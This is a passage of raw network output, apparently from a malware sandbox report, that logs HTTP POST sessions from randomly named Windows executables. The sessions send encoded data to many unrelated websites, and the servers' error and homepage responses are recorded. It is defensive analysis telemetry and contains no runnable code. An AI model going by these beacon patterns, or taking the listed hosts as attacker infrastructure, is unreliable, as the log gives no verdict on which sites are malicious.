51 7a 52 4c 2f 61 6b 72 77 59 64 73 57 45 4c 55 73 45 2b 70 5a 68 69 75 6d 6e 42 72 69 51 76 4d 72 64 77 51 42 36 6e 49 38 63 64 57 39 71 6f 57 65 55 41 4c 4b 61 79 54 77 4c 78 44 70 6d 42 50 71 41 2b 77 71 59 71 46 54 32 45 37 6b 72 4c 34 [TRUNCATED] Data Ascii: 9pf2eiLUtAtd+SezlUV1mKVpXHOyqgdudozi7UTW2pZQND7v4TOjurs8lcj49ZYclaPOymipFtuXOFjxHU1XqNDh/HSrz9Cg2Oowrr5KgbT1MuPqknVRl6IxJMqf+C6x6SQ/zpBspJJ3G2CjjWJ1dUmtzDO97SRNySCssB8RFabYzH0V0JQdWTmcErh3ZS95N8VVnQAy1Ibs7nR3eNasCJnmkaMLZ9u5kRu0i9Z+WujC+SBziuHbRIRsM2sYj77czGQzRL/akrwYdsWELUsE+pZhiumnBriQvMrdwQB6nI8cdW9qoWeUALKayTwLxDpmBPqA+wqYqFT2E7krL4rO82NR+7UEzdOk8hxX2jihYSQpcsnJwrlpJ+zwyq10wZfTrJs67D1lT51V8PXO9INIZVRNGvkOp7EVCenxmDt7+TfHoR7Y7svwEFoeOM95gHWMgQNdYft26J1gg5ESEygZpVfIuzCzQRr/wN08ekmIylnNVeiSQ0lL8f0uCbZEfdj7gj6ljn2vRWlz7UenZ8TSSWnZtjyPzTGHeBU1EzbodE8n3Q3lS60=
Oct 25, 2024 11:18:08.927043915 CEST	201	IN	HTTP/1.1 301 Moved Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.abart.com.pl Server: IdeaWebServer/6.2.0
Oct 25, 2024 11:18:08.927337885 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	52832	54.161.222.85	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.048115015 CEST	822	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.petsfan.com Cache-Control: no-cache Data Raw: 65 4d 4a 6a 5a 32 6b 78 74 41 73 70 74 42 4d 54 4f 45 75 47 63 34 4b 42 2f 67 41 48 75 34 79 4a 72 61 70 41 38 44 41 4f 73 51 2f 6f 75 45 36 6d 6c 78 6d 32 62 4c 47 74 61 7a 31 55 38 4b 76 4b 37 4f 35 36 44 59 42 2f 4c 6d 4e 72 43 35 63 49 48 6e 4b 63 4c 70 38 6d 5a 65 37 32 77 4c 74 38 58 42 45 76 31 64 6e 6d 79 4b 79 52 2f 31 64 4c 2f 31 47 71 43 6b 72 4b 55 64 35 68 6d 52 6c 33 38 59 50 6f 49 41 30 74 46 2f 76 4d 62 64 51 6a 73 59 58 4b 37 58 55 74 58 7a 65 50 6e 71 66 67 54 53 56 6e 39 66 5a 63 64 50 58 42 55 52 61 6c 79 75 6a 78 46 62 6b 5a 63 51 30 2b 38 6c 4f 79 39 42 55 48 62 57 30 70 34 35 72 4a 45 49 46 69 6c 72 74 69 50 4a 55 42 45 31 31 4b 78 66 34 47 75 70 2b 79 43 51 51 6b 43 71 56 47 2b 70 77 50 73 67 59 49 2f 34 67 30 51 51 7a 30 49 65 4d 31 38 78 56 64 35 78 55 53 52 71 49 6c 34 58 73 74 59 34 38 55 2b 4c 42 74 49 62 68 4d 57 67 74 58 73 6a 36 32 64 49 68 46 4b 31 46 35 6f 65 4e 4c 47 55 42 54 52 4d 75 68 4c 32 66 73 55 49 47 33 4f 64 34 55 6e 4a 41 75 41 77 64 69 72 6c 77 65 32 77 [TRUNCATED] Data Ascii: eMJjZ2kxtAsptBMTOEuGc4KB/gAHu4yJrapA8DAOsQ/ouE6mlxm2bLGtaz1U8KvK7O56DYB/LmNrC5cIHnKcLp8mZe72wLt8XBEv1dnmyKyR/1dL/1GqCkrKUd5hmRl38YPoIA0tF/vMbdQjsYXK7XUtXzePnqfgTSVn9fZcdPXBURalyujxFbkZcQ0+8lOy9BUHbW0p45rJEIFilrtiPJUBE11Kxf4Gup+yCQQkCqVG+pwPsgYI/4g0QQz0IeM18xVd5xUSRqIl4XstY48U+LBtIbhMWgtXsj62dIhFK1F5oeNLGUBTRMuhL2fsUIG3Od4UnJAuAwdirlwe2wym40RTvVsVHml2ttLv/Se9NFJCxWEqApWChhmRojJkwnKegi/uSoGGvRYbIG/6UdT4ECGCRbw0Ln8esMK81zz8xVSkoJvBfNETHfbalgxXdKbhvefRAmaLG/zFCHDdGmY3dd+m570/pOXNaMtpykV01x22REfg8nG7pBaNtb4hdu5E57mL3NMSpelPGDjvwp9ID3H8kepVV2HcTFgDLwC/zdssCXk6jKQix2tLzCZKgEe9CP/lSZX0HEY=
Oct 25, 2024 11:18:08.719041109 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	52833	13.248.252.114	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.051273108 CEST	784	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.otena.com Cache-Control: no-cache Data Raw: 70 71 78 6e 69 51 36 66 50 46 62 65 52 6b 38 6b 6d 5a 74 41 54 58 45 7a 6a 67 73 4f 66 6b 70 4f 49 71 68 7a 34 69 43 47 44 53 75 43 68 6d 76 77 75 33 76 4e 69 4d 66 36 30 72 51 75 67 79 6a 50 5a 42 61 4b 64 33 6d 77 65 46 57 55 57 54 49 6b 4e 2f 6d 63 76 51 5a 36 57 4b 6c 36 4f 6d 53 71 42 4d 6c 6c 2b 57 32 66 42 6c 6b 65 57 52 2f 45 4e 39 2f 31 5a 33 79 4d 4b 50 4d 4f 32 67 4d 32 30 71 6c 31 5a 45 55 71 6e 61 53 65 52 61 59 31 73 4c 75 7a 76 4c 2b 6e 6c 44 70 53 77 66 77 57 79 49 6a 54 46 55 2b 71 4e 37 4c 46 68 4b 36 50 65 77 38 49 75 59 6c 31 4e 37 6f 39 67 6f 4d 45 2b 77 52 62 61 76 35 45 6b 38 35 51 6c 31 45 30 37 68 38 32 38 76 36 35 70 51 39 30 41 61 79 61 46 6d 58 6e 63 62 67 39 37 4b 52 74 32 68 42 45 49 7a 33 71 6d 43 6e 59 42 63 30 42 6a 53 64 54 2b 43 55 69 46 6e 6e 36 49 69 30 68 35 4c 76 57 39 41 59 62 73 59 56 69 48 4a 59 2b 46 6e 44 74 78 44 37 7a 64 59 4a 68 42 78 49 6d 5a 4d 76 56 53 73 51 72 35 65 36 33 43 72 7a 30 34 6b 4b 6a 4d 6d 39 76 71 68 57 6a 54 33 49 4e 58 70 5a 31 48 4f [TRUNCATED] Data Ascii: pqxniQ6fPFbeRk8kmZtATXEzjgsOfkpOIqhz4iCGDSuChmvwu3vNiMf60rQugyjPZBaKd3mweFWUWTIkN/mcvQZ6WKl6OmSqBMll+W2fBlkeWR/EN9/1Z3yMKPMO2gM20ql1ZEUqnaSeRaY1sLuzvL+nlDpSwfwWyIjTFU+qN7LFhK6Pew8IuYl1N7o9goME+wRbav5Ek85Ql1E07h828v65pQ90AayaFmXncbg97KRt2hBEIz3qmCnYBc0BjSdT+CUiFnn6Ii0h5LvW9AYbsYViHJY+FnDtxD7zdYJhBxImZMvVSsQr5e63Crz04kKjMm9vqhWjT3INXpZ1HOjG3UOwBefhfsfLaTTa2DrTka7Lm9Lifimzz3rqgQ8YYhl/M2gApS+YXnH+pfWXWC4BevaXdwxbl0kiJk4vGpTFAi8nMZhzgu5NKm0PZYkBf2l+OfXOH8p3IzfwD4gOWYAYTS2RQ70x/nMO5Uq1YbPNHAb0JGVaH13wdiXiCBM3n3KEdfdbstDtcHWnYonScITAy3YNY7N4NlmmpmYCG6pQ
Oct 25, 2024 11:18:08.780461073 CEST	727	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Content-Length: 552 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	52834	192.252.154.18	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.055382013 CEST	815	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.abdg.com Cache-Control: no-cache Data Raw: 70 5a 2f 77 41 6d 57 52 51 46 61 36 52 71 59 39 44 4a 4f 42 69 74 35 79 53 45 32 7a 34 4e 77 4c 61 58 52 36 44 67 36 35 34 6e 49 73 4e 71 72 43 37 4a 39 78 36 70 2f 73 4b 70 6a 73 78 6b 4a 70 41 6b 78 45 53 4f 30 6b 4c 4a 71 34 2f 5a 69 6d 34 76 45 6d 55 37 77 4b 47 46 48 5a 46 7a 77 32 56 56 44 6b 51 6d 68 39 62 61 35 67 45 67 36 6d 30 43 45 71 4a 6f 67 69 53 6f 37 6a 39 49 6c 32 34 4e 69 55 68 56 48 78 6f 67 74 69 46 53 43 72 67 4d 6c 2b 4a 51 76 31 2f 66 39 66 5a 45 35 6b 4e 49 51 74 44 42 73 47 56 35 6d 58 73 61 4c 61 6a 48 43 59 70 65 4a 75 53 2f 55 51 61 54 2b 48 55 53 2f 6d 54 2b 51 36 54 52 2f 6d 55 6e 76 50 53 46 76 73 33 55 4a 62 61 78 63 7a 51 66 54 32 2b 36 46 31 78 4e 73 37 48 50 59 31 55 47 2b 73 31 31 47 44 4c 41 70 6b 57 32 33 76 45 6f 34 44 61 66 2f 7a 61 30 57 35 59 73 37 64 68 53 68 71 48 6b 71 63 32 38 57 54 63 4f 6e 45 78 31 39 32 6a 2b 38 56 33 38 72 63 5a 31 52 6d 70 4f 62 32 6f 64 77 73 75 63 42 78 7a 58 2b 45 31 76 74 4b 58 55 35 42 53 68 4e 55 38 45 34 32 4e 4e 72 7a 7a 6d [TRUNCATED] Data Ascii: pZ/wAmWRQFa6RqY9DJOBit5ySE2z4NwLaXR6Dg654nIsNqrC7J9x6p/sKpjsxkJpAkxESO0kLJq4/Zim4vEmU7wKGFHZFzw2VVDkQmh9ba5gEg6m0CEqJogiSo7j9Il24NiUhVHxogtiFSCrgMl+JQv1/f9fZE5kNIQtDBsGV5mXsaLajHCYpeJuS/UQaT+HUS/mT+Q6TR/mUnvPSFvs3UJbaxczQfT2+6F1xNs7HPY1UG+s11GDLApkW23vEo4Daf/za0W5Ys7dhShqHkqc28WTcOnEx192j+8V38rcZ1RmpOb2odwsucBxzX+E1vtKXU5BShNU8E42NNrzzmcOxs7Wj7Ekmuikoc19RWeWj/FOPm0Eji5YsDLknWrncyrhklJBZ9fs1vct5Asa6QAYs5i5sq1mBuVo30Z/Ai+XXc0rh2FWHpAM/P1lyS8OR4MVHr9JKjLdhJjRjoYJEPbArM/6bGk9qJXrEUtJcYkP6FN2DhpEXRCGBg1zzje5+eEvf7Gy9LJY3qWKD4zDy74wDMdKd/jydHpmMgqAfP3ggrWt74721ZxFXK9JkOlouW0PfYCZ+pDa
Oct 25, 2024 11:18:08.745543957 CEST	1196	IN	HTTP/1.1 412 Precondition Failed Date: Fri, 25 Oct 2024 09:18:08 GMT Server: Apache Upgrade: h2 Connection: Upgrade Accept-Ranges: bytes Content-Length: 1004 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 34 31 32 20 52 65 71 75 65 73 74 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 69 63 6f 6e 73 2f 65 78 70 69 72 65 64 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>412 Request Blocked</title><link href="/icons/expired/style.css" rel="stylesheet" type="text/css" /></head><body><div id="notice"><h1>412 REQUEST BLOCKED</h1><h2>Precondition failed: the web server has blocked this request for security reasons.</h2></div><div><p>You may want to contact the webmaster and inform them <br />of the time the error occurred, as well as anything you might have <br />done that may have caused the error.</p><br><p>If you are the owner of the website, you can get more information about <br />the issue and how to resolve it in the article <a href="https://tickets.suresupport.com/faq/article-1596/en">Error "412 Precondition Failed" (mod_security2)</a>.<br /></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	52835	54.161.222.85	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.093046904 CEST	818	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.petsfan.com Cache-Control: no-cache Data Raw: 39 4d 75 5a 35 43 47 43 30 31 58 57 4c 39 50 66 67 4c 55 2b 6b 2f 72 75 37 47 41 66 6c 6d 57 7a 35 57 72 4b 7a 45 72 47 2f 53 36 65 31 50 66 79 41 6c 73 76 4b 6a 38 73 34 6f 2b 49 4c 4e 38 6f 48 79 54 52 47 2f 42 68 56 57 55 5a 49 34 49 74 72 45 58 52 66 4b 5a 56 39 67 6a 66 71 70 2b 56 41 30 54 68 47 38 54 6e 5a 52 52 67 55 78 30 59 37 32 50 79 49 68 57 54 44 73 50 37 47 59 69 65 4f 48 5a 42 6b 61 51 55 68 54 52 34 63 54 2b 79 61 52 2b 55 4c 6f 51 44 41 30 68 79 71 71 45 4d 71 6e 5a 37 52 38 2b 55 35 48 2f 4e 43 36 49 7a 50 68 6c 64 57 2b 31 44 6a 52 6d 33 65 72 59 68 34 66 69 75 2b 74 35 4b 2b 75 5a 38 6e 42 31 2f 44 6f 77 39 67 68 53 41 56 74 5a 59 71 6e 33 78 67 34 4e 6e 75 43 52 6e 31 2b 4a 66 72 6b 54 71 66 76 48 2f 2f 2b 47 6b 38 35 2b 39 67 41 4d 6d 39 6c 6c 59 51 61 35 54 75 74 42 37 6d 65 4d 79 75 4a 75 58 6b 69 57 61 50 70 5a 69 41 4e 2f 65 51 32 2b 74 4a 41 57 75 45 71 77 6d 7a 38 72 79 6d 56 45 68 50 61 45 4c 73 48 4f 53 70 6e 79 2b 61 43 31 56 41 33 6a 2f 56 70 33 74 72 57 42 36 52 62 [TRUNCATED] Data Ascii: 9MuZ5CGC01XWL9PfgLU+k/ru7GAflmWz5WrKzErG/S6e1PfyAlsvKj8s4o+ILN8oHyTRG/BhVWUZI4ItrEXRfKZV9gjfqp+VA0ThG8TnZRRgUx0Y72PyIhWTDsP7GYieOHZBkaQUhTR4cT+yaR+ULoQDA0hyqqEMqnZ7R8+U5H/NC6IzPhldW+1DjRm3erYh4fiu+t5K+uZ8nB1/Dow9ghSAVtZYqn3xg4NnuCRn1+JfrkTqfvH//+Gk85+9gAMm9llYQa5TutB7meMyuJuXkiWaPpZiAN/eQ2+tJAWuEqwmz8rymVEhPaELsHOSpny+aC1VA3j/Vp3trWB6RbtJnn6wKUoRCtTWGkxvCjt2wL2n26NXtXDQqLR2NSBbuiUhpAN8ih1uvPW0H1foSjcwoRbDAf82AU7GuJHlMMsGjjxyA3c5e6W89CTEhqUSoMVTw3mSvSKi/FnGNKrrdFBSzMzwOnvjH3MfDI43L182PWtFAZ9YQOIG2d3RRCnJaYSYFRSXBZPR02qVQ0Fu+eQHp4HlkNrlFPwjzobfplO7jyQ4dEXSdgjINKvTZRs6FNVj1CqhU70=
Oct 25, 2024 11:18:08.794514894 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	52839	104.26.15.53	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.238758087 CEST	779	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 548 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.elpro.si Cache-Control: no-cache Data Raw: 37 67 5a 75 7a 72 39 36 30 41 75 76 6b 56 56 2f 6e 6b 6d 55 34 30 6a 58 31 51 49 56 74 6d 5a 6f 59 35 59 59 4e 76 72 43 4c 77 78 6a 2b 33 5a 48 6d 49 6b 50 6d 75 70 62 75 6e 67 50 41 66 43 44 6e 5a 39 4f 4f 2f 38 4b 4d 66 77 74 37 57 69 52 53 79 33 67 4e 51 56 6d 38 31 34 5a 6b 75 78 30 43 57 74 64 34 43 78 6c 61 78 5a 54 52 76 31 62 61 38 6a 68 35 34 64 56 4b 61 2b 4d 42 4e 4c 73 41 78 52 68 41 67 31 61 73 4d 46 68 64 73 38 5a 52 66 68 49 67 62 69 50 6c 6b 4e 41 32 54 59 64 6e 38 31 33 46 33 2b 6a 62 45 46 44 55 55 35 77 54 50 54 54 69 48 76 50 61 68 30 2f 41 2b 30 39 62 31 78 71 4f 39 39 44 4e 47 77 2b 73 37 48 37 58 65 73 6b 38 75 77 6b 6d 49 4f 34 77 39 4d 30 6a 55 33 50 6f 6c 58 72 37 65 62 59 6d 77 7a 6c 68 54 4d 43 32 2b 5a 46 4d 66 48 31 6b 75 69 49 4f 4e 38 6f 61 34 72 6d 72 56 4e 72 69 45 63 62 6c 78 4e 74 63 6d 77 61 33 49 61 58 54 30 52 46 51 58 57 50 46 2b 2b 6a 2b 49 34 6d 6d 50 49 56 5a 64 6c 59 52 4f 54 6a 49 64 59 2f 4e 5a 55 4a 4e 6f 46 67 55 46 70 72 6f 30 75 6b 71 4f 56 35 53 57 [TRUNCATED] Data Ascii: 7gZuzr960AuvkVV/nkmU40jX1QIVtmZoY5YYNvrCLwxj+3ZHmIkPmupbungPAfCDnZ9OO/8KMfwt7WiRSy3gNQVm814Zkux0CWtd4CxlaxZTRv1ba8jh54dVKa+MBNLsAxRhAg1asMFhds8ZRfhIgbiPlkNA2TYdn813F3+jbEFDUU5wTPTTiHvPah0/A+09b1xqO99DNGw+s7H7Xesk8uwkmIO4w9M0jU3PolXr7ebYmwzlhTMC2+ZFMfH1kuiION8oa4rmrVNriEcblxNtcmwa3IaXT0RFQXWPF++j+I4mmPIVZdlYROTjIdY/NZUJNoFgUFpro0ukqOV5SWEGySSMiD2qUuBjvYFLeBStzyUnKAtp8cPwT/lprHaiG5Kg7/4N2Hj6miPp52mVyevH64XCdpfwwsD2U8TCoiyb3O2eZ4bmipJwAvBeN9yax6VgoxT7jveU1sMAyJfB3x1wqG70sokLReCs5r1EvQLCr6fpn0W5L+grGtE+nveULhZvjkHd35T3/AS55IPgfkbp63W60e+jDF4TjQ==
Oct 25, 2024 11:18:09.603426933 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 09:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive x-dns-prefetch-control: on set-cookie: mailchimp_landing_site=https%3A%2F%2Fwww.elpro.si%2F; expires=Fri, 22-Nov-2024 09:18:09 GMT; Max-Age=2419200; path=/; secure; SameSite=Strict link: <https://www.elpro.si/wp-json/>; rel="https://api.w.org/" link: <https://www.elpro.si/wp-json/wp/v2/pages/2>; rel="alternate"; title="JSON"; type="application/json" link: <https://www.elpro.si/>; rel=shortlink x-litespeed-cache-control: public,max-age=106200 x-litespeed-tag: cbf_HTTP.200,cbf_front,cbf_URL.6666cd76f96956469e7be39d750cc7d9,cbf_F,cbf_Po.2,cbf_PGS,cbf_guest,cbf_ cache-control: public, max-age=172800 expires: Sun, 27 Oct 2024 09:18:09 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dC963GK2W6LwFcrWzIHohHQ6bmcccBNyRQ4bcvDlkEPCd1bbQRxwUJcCBPuCdnZoVGpoedEJYVD6RZNNLD8%2FuLfII6f8OPwP6grDa4PpDOj1UP7DyZnQf5V7ZYjAxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce refe Data Raw: Data Ascii:
Oct 25, 2024 11:18:09.603480101 CEST	202	IN	Data Raw: 72 65 72 2d 70 6f 6c 69 63 79 3a 20 73 61 6d 65 2d 6f 72 69 67 69 6e 0d 0a 78 2d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 2d 6f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 Data Ascii: rer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8d811e18d8b068fc-DFWalt-svc: h3=":443"; ma=86400
Oct 25, 2024 11:18:09.603643894 CEST	1236	IN	Data Raw: 34 33 38 30 0d 0a 09 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 73 6c 2d 53 49 22 3e 0a 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 0a 3c 73 Data Ascii: 4380<!DOCTYPE html><html lang="sl-SI"><head>... Google Tag Manager --><script type="text/plain" data-cli-class="cli-blocker-script" data-cli-label="Google Tag Manager" data-cli-script-type="neobvezni" data-cli-block="true" data-cli-
Oct 25, 2024 11:18:09.603694916 CEST	1236	IN	Data Raw: 70 6e 67 22 20 2f 3e 20 2d 2d 3e 0a 0a 20 20 3c 21 2d 2d 20 48 54 4d 4c 35 20 73 68 69 6d 20 61 6e 64 20 52 65 73 70 6f 6e 64 2e 6a 73 20 66 6f 72 20 49 45 38 20 73 75 70 70 6f 72 74 20 6f 66 20 48 54 4d 4c 35 20 65 6c 65 6d 65 6e 74 73 20 61 6e Data Ascii: png" /> --> ... HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> ... WARNING: Respond.js doesn't work if you view the page via file:// -->...[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/
Oct 25, 2024 11:18:09.603739023 CEST	1236	IN	Data Raw: 70 72 6f 2e 73 69 2f 22 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 50 72 65 6d 69 75 6d 20 70 6c 75 67 69 6e 20 76 32 33 2e 34 20 Data Ascii: pro.si/" />... This site is optimized with the Yoast SEO Premium plugin v23.4 (Yoast SEO v23.4) - https://yoast.com/wordpress/plugins/seo/ --><meta name="description" content="ELPRO Lepenik proizvodnja temperaturnih tipal, prodaja in ser
Oct 25, 2024 11:18:09.603791952 CEST	636	IN	Data Raw: 3d 22 6f 67 3a 69 6d 61 67 65 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6d 61 67 65 2f 6a 70 65 67 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 Data Ascii: ="og:image:type" content="image/jpeg" /><meta name="twitter:card" content="summary_large_image" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://ww
Oct 25, 2024 11:18:09.603827953 CEST	1236	IN	Data Raw: 6c 6f 61 64 73 2f 32 30 32 30 2f 30 33 2f 45 4c 50 52 4f 2d 77 77 77 2d 30 30 2d 48 4f 4d 45 2d 48 65 61 64 65 72 2d 30 31 2e 6a 70 67 22 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 32 30 2d 30 32 2d 30 33 54 30 39 3a 32 32 3a 34 Data Ascii: loads/2020/03/ELPRO-www-00-HOME-Header-01.jpg","datePublished":"2020-02-03T09:22:47+00:00","dateModified":"2024-03-07T21:11:59+00:00","description":"ELPRO Lepenik proizvodnja temperaturnih tipal, prodaja in servis merilno regulacijske opreme,
